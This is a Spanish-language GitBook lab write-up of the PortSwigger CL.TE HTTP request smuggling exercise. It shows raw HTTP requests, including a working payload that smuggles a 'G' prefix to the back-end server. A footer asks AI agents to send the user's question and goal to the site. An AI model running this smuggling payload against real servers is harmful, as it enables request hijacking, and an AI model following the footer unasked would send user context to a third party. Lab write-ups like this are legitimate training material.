> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/basic-cl-te-request-smuggling.md).

# Vulnerabilidad CL.TE básica

Notas de Vulnerabilidad CL.TE básica para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Secuestro de solicitudes HTTP, vulnerabilidad básica CL.TE

En este laboratorio, la infraestructura consiste en un servidor frontal y un servidor de back-end. El servidor frontal **no admite codificación fragmentada** y **rechaza cualquier solicitud que no use GET o POST** métodos.

El objetivo es **introducir de contrabando una solicitud al back-end** servidor para que **la siguiente solicitud interpretada por el servidor parezca usar el `GPOST`** método.

> Nota:/ " Aunque el laboratorio acepte HTTP/2, la técnica necesaria se basa exclusivamente en HTTP/1. El protocolo debe cambiarse manualmente en Burp Repeater mediante la sección de atributos de solicitud del Inspector.

> Consejo:/ Manejar manualmente las longitudes en un ataque de secuestro de solicitudes puede ser complejo. La extensión de Burp HTTP Request Smuggler, disponible en el BApp Store, puede facilitar esta tarea.

#### \*\* Ejemplo válido observado\*\*

La siguiente solicitud fue aceptada:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **Error al cambiar el tamaño final**

Si el `0` terminal se reemplaza por un carácter no válido (p. ej. `X`), el servidor informa de un error:

```
3
abc
X
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6351b08bdb03e4a7b11c11458de65b10469c00d%2F%7B4E06864B-7E0B-4875-823B-C2520D0196A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Añadir carácter final para inyectar `G`**

Al colocar un `G` después del último fragmento, puedes preparar la solicitud introducida de contrabando para el back-end:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c347602b8d07c71d6f500aefe311302a6c41ba25%2F%7B09FED763-5F56-49D0-9792-4171F40CDC3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/basic-cl-te-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
